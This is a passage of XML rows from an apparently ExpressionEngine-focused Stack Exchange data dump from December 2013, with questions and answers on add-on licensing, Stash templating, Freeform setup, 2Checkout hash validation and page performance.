  <row Id="17508" PostTypeId="2" ParentId="17473" CreationDate="2013-12-07T00:21:49.450" Score="2" Body="&lt;p&gt;An Expresso Store license is essentially tied to your EE license. So if you can legally use one EE license for your sites, then you can also use a single Store license as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Store with EE's multi-site manager (MSM) to run multiple online stores from the same installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have stated, MSM can only be used for multiple properties run by the same company and hosted together. It can't be used to run various client sites from a single installation. It also can't be used to install multiple completely separate sites on the same server (or different servers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso Stores license allows you to run multiple sites if you are&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-07T00:21:49.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17509" PostTypeId="2" ParentId="17465" CreationDate="2013-12-07T00:25:18.847" Score="0" Body="&lt;p&gt;FreeMember simply provides a nice way to generate templates for the existing member functionality built into EE. EE core doesn't include any member functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, FreeMember doesn't work with EE Core and never will. I doubt any other member modules would either, and if they did, I expect they would have dubious legal status.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-07T00:25:18.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17511" PostTypeId="2" ParentId="17408" CreationDate="2013-12-07T07:53:06.310" Score="1" Body="&lt;p&gt;Not really. You can only update the quantity of items already in the cart. However, if you wanted to provide some form of inline edit product functionality on the checkout, it's possible to remove an item and add another item at the same time, so you could replace the item with a new one with whatever modifiers the customer selects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, simply create an add to cart form using the product tag, and pre-fill the form fields with the existing values from the cart.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-07T07:53:06.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17512" PostTypeId="2" ParentId="17501" CreationDate="2013-12-07T10:36:56.747" Score="0" Body="&lt;p&gt;Not quite sure of the end goal but if youre looking to produce a list of entries for logged in author that don't have playa relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd just use your 2nd list to capture all the users entries then use stash:get_list with match= and against= to spit out only items that match your criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your set list above with the minor exception of just setting the relationship to a simple 'yes' as you don't need to set it if there is one present...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list...}&#xA;...&#xA;{stash:item_id}{entries_location}{if entry_id}yes{/if} {if entry_id ==&quot;&quot;}no{/if}{/entries_location}{/stash:item_id}&#xA;...&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;checked_locations&quot; match=&quot;#no#&quot; against=&quot;item_id&quot;}&#xA;... output items that don't have a relationship, set as no in the set_list&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all off-the-cuff and you'll have to fill in the blanks but by capturing it all in the exp channel loop and using the stash match tag you should be able to create a select list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've typed this up on my phone in transit so mind my simplicity pls :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-07T10:36:56.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17513" PostTypeId="1" CreationDate="2013-12-07T12:34:06.307" Score="4" ViewCount="105" Body="&lt;p&gt;Am I nuts? Did I install the module wrong? I don't see a submit button to confirm my changes within the module. Any ideas? I can't add a field either. Button is there in that case but submitting does not do anything. Thx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update: I'm too new to answer my own question so I'll edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found the answer after I jumped the gun:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12936/freeform-4-0-12-ceate-form-button-missing-in-firefox-ie-and-chrome?rq=1&quot;&gt;Freeform 4.0.12 ceate form button missing in firefox ie and chrome&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was missing the themes. Sheeeeeit, as Clay Davis would say, who knew you had to install those files too, to make the thing work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You put the freeform folder under &quot;third party&quot; in the module distribution under [eebase] &gt;  themes &gt; third party on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway I'm happy now, for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/amy&lt;/p&gt;&#xA;" OwnerUserId="2466" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-04-11T20:00:16.700" Title="Freeform: No submit button on new form or duplicate form screen?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17514" PostTypeId="1" AcceptedAnswerId="17574" CreationDate="2013-12-07T15:29:43.577" Score="0" ViewCount="116" Body="&lt;p&gt;When I click on design/template/edit/XXXX/index or view the page is taking over minutes to load. Same issue under ADMIN. All othe sections load super fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;related question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17515/fatal-error-message-in-ee-cp-when-i-want-to-open-a-template-pr-submit-changes-to&quot;&gt;Fatal: Error Message in EE CP when I want to open a template pr submit changes to a template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to&#xA;  allocate 49 bytes) in&#xA;  /home/content/94/9617594/html/control/codeigniter/system/database/drivers/mysql/mysql_result.php&#xA;  on line 147&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-12-10T04:47:18.300" Title="Templates in CP take over 4 minutes to load" Tags="|templates|control-panel|memory-limit|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17515" PostTypeId="1" CreationDate="2013-12-07T15:42:43.037" Score="0" ViewCount="59" Body="&lt;p&gt;Sorry very new to EE.&#xA;What do I do to sort out the following error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 49 bytes) in /home/content/94/9617594/html/control/codeigniter/system/database/drivers/mysql/mysql_result.php on line 147&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-12-10T04:36:28.370" Title="Fatal Error Message in EE CP when I want to open a template pr submit changes to a template" Tags="|templates|control-panel|admin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17516" PostTypeId="2" ParentId="17480" CreationDate="2013-12-07T18:08:41.717" Score="2" Body="&lt;p&gt;This issue is most likely being caused by either your secret word not matching or expresso store is not setup to validate the hash on demo sales. When placing 2Checkout demo sales, the MD5 hash returned by 2Checkout is intentionally broken by computing the hash with a 1 in place of the order_number so if you are checking against the hash your return script needs to handle this change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if ($_REQUEST['demo'] == 'Y') &#xA;{&#xA;    $order_number = 1;&#xA;}&#xA;else&#xA;{&#xA;    $order_number = $_REQUEST['order_number'];&#xA;}&#xA;&#xA;$compare_string = $_REQUEST['secret_word'] . $_REQUEST['sid'] . $order_number . $_REQUEST['total'];&#xA;$compare_hash1 = strtoupper(md5($compare_string));&#xA;$compare_hash2 = $_REQUEST['key'];&#xA;&#xA;if ($compare_hash1 != $compare_hash2)&#xA;{&#xA;    echo &quot;Hash Mismatch&quot;;&#xA;}&#xA;else&#xA;{&#xA;    echo &quot;Hash Matched&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2013-12-07T18:08:41.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17517" PostTypeId="1" AcceptedAnswerId="17520" CreationDate="2013-12-07T19:46:59.350" Score="2" ViewCount="164" Body="&lt;p&gt;Anyone have luck in getting the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Capturing-pagination&quot; rel=&quot;nofollow&quot;&gt;Stash-style of pagination&lt;/a&gt; to work with &lt;a href=&quot;http://iamjustinlong.com/blog/single/implementing_infinite_scroll_in_your_expressionengine_site/&quot; rel=&quot;nofollow&quot;&gt;Infinite Scroll&lt;/a&gt;? Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2013-12-08T08:58:50.313" LastActivityDate="2013-12-08T08:58:50.313" Title="Infinite Scroll and Stash" Tags="|stash|pagination|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17518" PostTypeId="2" ParentId="16871" CreationDate="2013-12-07T21:08:25.373" Score="3" Body="&lt;p&gt;When updating freeform, you need to delete the old directories before uploading the new:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Within your sites ./system/expressionengine/third_party/ directory, delete the freeform folder and upload the new one from the /system/expressionengine/third_party/ directory in your download package.&#xA;Within your sites ./themes/third_party/ directory, delete the freeform folder and upload the new one from the /themes/third_party/ directory in your download package.&#xA;Go to the Modules area in the ExpressionEngine control panel and click the Run Module Updates button.&#xA;Upgrading from Freeform 3.x (if applicable):&#xA;    Go to the Utilities tab in the Freeform control panel, and run the Migration utility.&#xA;    Review the Freeform 3.x to 4.x Upgrade Guide and update your templates as necessary.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/install_update/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/install_update/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2013-12-07T21:08:25.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17519" PostTypeId="1" CreationDate="2013-12-08T04:13:16.353" Score="0" ViewCount="34" Body="&lt;p&gt;I have a pretty simple template set up that has one image and a block of text, but for some reason the page takes 3 seconds to load at 37 queries. I have tag caching set so subsequent loads of the page are around 2 seconds at 21 queries. What's causing this lag in data being returned? The image that's being called is on Rackspace Cloud Files CDN and only 140kb in size. Here's the applicable chunk of info from Template Debugging:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(0.026589 / 11.08MB) -&gt; Method Called: entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.552342 / 19.17MB) -&gt; Data Returned&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related to this is the homepage which takes 90.5082 seconds to load at 103 queries on first load. Though this is probably due to the fact I'm calling 100 images with Channel Images :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to optimize? The caching works great, but it's the initial load that I'm worried about.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-12-08T04:13:16.353" Title="Lag in Data Returned" Tags="|channel-entries|templates|database|optimization|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17520" PostTypeId="2" ParentId="17517" CreationDate="2013-12-08T08:57:59.327" Score="5" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got it working. This is what I have for those following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;set_list template&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:homepage}&#xA;&#xA;{exp:stash:context name=&quot;100_list&quot;}&#xA;&#xA;{exp:stash:set_list&#xA;    name=&quot;movie_list&quot;&#xA;    context=&quot;@&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    save=&quot;yes&quot; &#xA;    scope=&quot;site&quot;&#xA;    refresh=&quot;1440&quot;   &#xA;    replace=&quot;no&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries&#xA;        channel=&quot;films&quot;&#xA;        category=&quot;1&quot;&#xA;        disable=&quot;category_fields|member_data&quot;&#xA;    }&#xA;&#xA;        {stash:movie_name}{title}{/stash:movie_name}&#xA;        {stash:movie_url}{url_title_path='movie'}{/stash:movie_url}&#xA;        {stash:movie_poster}{exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}{image:url:grid}{/exp:channel_images:images}{/stash:movie_poster}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;homepage embed with get_list:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;large-block-grid-5 grid-infinite&quot;&amp;gt;&#xA;&#xA;{exp:stash:get_list&#xA;    name=&quot;movie_list&quot;&#xA;    context=&quot;@&quot;&#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_conditionals=&quot;yes&quot;&#xA;    limit=&quot;20&quot;&#xA;    orderby=&quot;movie_name&quot;&#xA;    sort=&quot;asc&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;    &amp;lt;li class=&quot;grid-item-block&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;{movie_url}&quot; title=&quot;{movie_name}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;grid-item-info&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;grid-item-title&quot;&amp;gt;&#xA;                    &amp;lt;h1 class=&quot;title-cap&quot;&amp;gt;{movie_name}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;      &#xA;                &amp;lt;img src=&quot;{movie_poster}&quot; alt=&quot;{movie_name}&quot;&amp;gt;       &#xA;        &amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {paginate}&#xA;    &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;        {if next_page}&amp;lt;a class=&quot;next js_hide_next&quot; href=&quot;{auto_path}&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/paginate}&#xA;&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;javascript settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function(){&#xA;     $('.grid-infinite').infinitescroll({&#xA;          navSelector : &quot;.navigation&quot;,&#xA;          nextSelector : &quot;a.next&quot;,&#xA;          itemSelector : &quot;.grid-item-block&quot;,&#xA;          contentSelector: &quot;.grid-infinite&quot;,&#xA;          extractLink: true,&#xA;      })&#xA;    });&#xA;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-12-08T08:57:59.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17521" PostTypeId="2" ParentId="17489" CreationDate="2013-12-08T14:35:06.133" Score="2" Body="&lt;p&gt;The {if logged_in} is checked last in the template (advanced conditional). There are several addons available that create early parsed global variables from user data. Use the template debugger to verify if tags and modules are or are not called at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_id} ... {/if} // mo-variables, low-vars($)&#xA;{if global_member_id} ... {/if}    // global_member_vars&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part can be a channel:entries tag by itself, current_user will be 0 when not logged in, giving the no_results part back. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel_name&quot; &#xA;    author_id=&quot;CURRENT_USER&quot; status=&quot;open&quot; dynamic=&quot;no&quot;&#xA;}&#xA;    {if no_results} -- redirect or show other info -- {/if}&#xA;    &amp;lt;a href=&quot;{path=/group/template/{username}/&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-12-08T14:35:06.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17522" PostTypeId="1" CreationDate="2013-12-08T15:11:59.923" Score="2" ViewCount="216" Body="&lt;p&gt;How do I, whithin solspace calendar tagpairs, pull data from en ee channel being the parent of the event through ee's relationships tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan is to keep most articles in an ee:channel and via relationships associate those articles that cover events with Solspace calendar module. Then within solspace calendar tagpairs list only those events that has parents in the articles channel and pull titles and paths to the associated articles entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rXQPJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fear Solspace Calendar doesnt like normal relationships and I really hope to find out my fear is without reason. Croxtons Stash is in my toolbox but I am far from mastering it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I, whithin solspace calendar tagpairs, pull data from en ee channel being the parent of the event through ee's relationships tag?&lt;/p&gt;&#xA;" OwnerUserId="481" LastEditorUserId="481" LastEditDate="2013-12-10T20:12:27.330" LastActivityDate="2014-01-15T21:33:45.500" Title="Can I pull parent data from ee channels into Solspace Calendar?" Tags="|relationships|solspace|solspace-calendar|calendar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17523" PostTypeId="2" ParentId="12068" CreationDate="2013-12-08T17:05:32.070" Score="0" Body="&lt;p&gt;This is not working actually.&#xA;I use this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;clanci&quot; limit=&quot;5&quot; dynamic=&quot;no&quot; status=&quot;open&quot; show_future_entries=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; search:galerijaslika=&quot;=y&quot; disable=&quot;pagination|member_data&quot;}&#xA;                                        &amp;lt;div class=&quot;panel-gallery&quot;&amp;gt;&#xA;                                            &amp;lt;div class=&quot;gallery-images&quot;&amp;gt;&#xA;&#xA;                                                &amp;lt;a href=&quot;#&quot; class=&quot;gallery-navi-left icon-text&quot;&amp;gt;&amp;amp;#59229;&amp;lt;/a&amp;gt;&#xA;                                                &amp;lt;a href=&quot;#&quot; class=&quot;gallery-navi-right icon-text&quot;&amp;gt;&amp;amp;#59230;&amp;lt;/a&amp;gt;&#xA;                                                &amp;lt;ul&amp;gt;&#xA;                                                    {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;                                                    &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}art/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:galerija_slika_300}&quot; class=&quot;setborder&quot; alt=&quot;{image:description}&quot; title=&quot;{image:title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                                    {/exp:channel_images:images}&#xA;                                                &amp;lt;/ul&amp;gt;&#xA;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;div class=&quot;gallery-header&quot;&amp;gt;&#xA;                                                &amp;lt;b&amp;gt;&amp;lt;a href=&quot;{site_url}galerija/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;                  &#xA;                                        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and even though i use search:galerijaslika=&quot;=y&quot; it does not return anything and I know I have entries that use that switch and it works when I use it when opening entry but when I want to show lost of entries, then it is not working correctly.&lt;/p&gt;&#xA;" OwnerUserId="2350" LastActivityDate="2013-12-08T17:05:32.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17524" PostTypeId="1" AcceptedAnswerId="17525" CreationDate="2013-12-08T18:56:26.520" Score="3" ViewCount="415" Body="&lt;p&gt;So I have the following code snippet which is working fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;market_ids&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:query sql=&quot;select GROUP_CONCAT(entry_id SEPARATOR '|') as market_ids from exp_channel_data where channel_id=3 AND field_id_12 LIKE CONCAT('%', DAYNAME(from_unixtime({exp:stash:delivery_day})), '%')&quot; parse=&quot;inward&quot;}&#xA;    {market_ids}&#xA;{/exp:query}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This sets a value for the markets that I use later on in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sometimes the stash value inside the SQL statement ({exp:stash:delivery_day}) wont be set. Typically if the user has clicked a link and not entered the site through our pre-determined route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding a conditional around whole statement, but it doesn't appear to be working because it's still executing the SQL statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;market_ids&quot; parse_tags=&quot;yes&quot;}&#xA;{if &quot;{exp:stash:not_empty name='delivery_day'}&quot;}    &#xA;{exp:query sql=&quot;select GROUP_CONCAT(entry_id SEPARATOR '|') as market_ids from exp_channel_data where channel_id=3 AND field_id_12 LIKE CONCAT('%', DAYNAME(from_unixtime({exp:stash:delivery_day})), '%')&quot; parse=&quot;inward&quot;}&#xA;    {market_ids}&#xA;{/exp:query}&#xA;{/if}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone offer any advice on the best way to get this working?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-12-09T00:19:48.443" Title="Dealing with Conditionals in Stash" Tags="|stash|parse-order|parse|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17525" PostTypeId="2" ParentId="17524" CreationDate="2013-12-08T19:56:17.537" Score="2" Body="&lt;p&gt;Have you tried adding &lt;code&gt;parse_conditionals=&quot;yes&quot;&lt;/code&gt; to the &lt;code&gt;set&lt;/code&gt; parameters? Alternatively, reversing the wrapping to put the conditional on the outside of the &lt;code&gt;set&lt;/code&gt; tags?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-08T19:56:17.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17526" PostTypeId="2" ParentId="6726" CreationDate="2013-12-08T22:15:36.143" Score="1" Body="&lt;p&gt;Here's how we handled this exact situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &quot;Send Email&quot; Select Dropdown field with the options &quot;Yes&quot;, &quot;No&quot; and within the Field Instructions add the following jQuery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;    $(&quot;#field_id_14&quot;).val('No');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You will need to change field_id_14 to whatever your field's id attribute is. You can get this by saving the field, loading the publish entry screen and using Safari/Firefox &quot;Inspect Element&quot; debugging tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this will do is reset the drop down menu to &quot;No&quot; every time the Publish/Edit entry page loads, thus defaulting to not sending an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CiXKH.png&quot; alt=&quot;ExpressionEngine Edit Field&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MyvPu.png&quot; alt=&quot;ExpressionEngine Edit Field Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then within your Parcel Extra Conditionals, add the following condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if parcel:advisory_send_email == &quot;No&quot;}FALSE{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a result, when you edit/add a new entry. You will have the option to not send, or to send a Parcel that will automatically default to not send/&quot;No&quot;. Change the jQuery/conditional logic if you want it to always default to send/&quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vAG3.png&quot; alt=&quot;ExpressionEngine Edit Entry&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="959" LastEditDate="2013-12-08T22:21:09.737" LastActivityDate="2013-12-08T22:21:09.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17528" PostTypeId="2" ParentId="17524" CreationDate="2013-12-08T22:30:06.607" Score="1" Body="&lt;p&gt;You could just do this to check the delivery_day value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:stash:delivery_day}&quot; != &quot;&quot;} &#xA;  ... your code ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-12-08T22:30:06.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17529" PostTypeId="2" ParentId="17524" CreationDate="2013-12-09T00:19:48.443" Score="0" Body="&lt;p&gt;If you use {switchee} on stash:delivery_day you can even have a {case} to display something when the delivery day was not set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;stash:delivery_day&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;&quot;}&#xA;    No delivery day set&#xA;  {/case}&#xA;  {case default=&quot;yes&quot;}&#xA;    ...do query...&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-12-09T00:19:48.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17530" PostTypeId="1" AcceptedAnswerId="17591" CreationDate="2013-12-09T00:38:29.567" Score="2" ViewCount="453" Body="&lt;p&gt;Is it possible to show the order by number that a child entry is placed into a relationships field of a parent entry? I'm creating a top 100 list of movies and I want to show what number a person has ranked that movie in their list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the Person Channel Entry there's a relationship field where Movie Channel Entries can be added. On the frontend I can display a {count} number on a Person page that shows where that movie is placed in their list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{person_film_list channel=&quot;films&quot;}&#xA;    {person_film_list:count}&#xA;    {person_film_list:title}&#xA;{/person_film_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above renders as 1. Movie1, 2. Movie2, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on the Movie page I can't reference the count that the movie is placed on the Person's list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents channel=&quot;person&quot; field=&quot;person_film_list&quot;}&#xA;        {parents:count}&#xA;        {parents:title}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above renders as 1. Person1, etc. no matter what placement the movie has in the relationships field of the Person parent entry. I know it's doing this because it's using the count of the Person parent entry instead of the Movie child entry. Is it possible to reference the count of the current Movie entry being viewed in relation to it's location in the Person parent entry relationships field?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-12-10T16:32:58.167" Title="Show Order or Child Entry in Parent Entry" Tags="|relationships|related-entries|reverse-related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17531" PostTypeId="1" AcceptedAnswerId="17744" CreationDate="2013-12-09T02:11:39.660" Score="7" ViewCount="294" Body="&lt;p&gt;This just started happening with the latest updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My product pages went from under a couple of seconds, to 12-16 seconds. All spikes below are from Matrix calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NN5PU.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NN5PU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;click to see larger image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at a loss on what to do as rebuilding the pages without using the matrix field is a &lt;strong&gt;&lt;em&gt;major&lt;/em&gt;&lt;/strong&gt; rework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&#xA;It's a huge Matrix field. The odd thing is that this is coming from a EE 1.6.8 rebuild and it ran fast on that setup with the same data and more conditionals in the template. I figured it would run faster on EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the complete field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 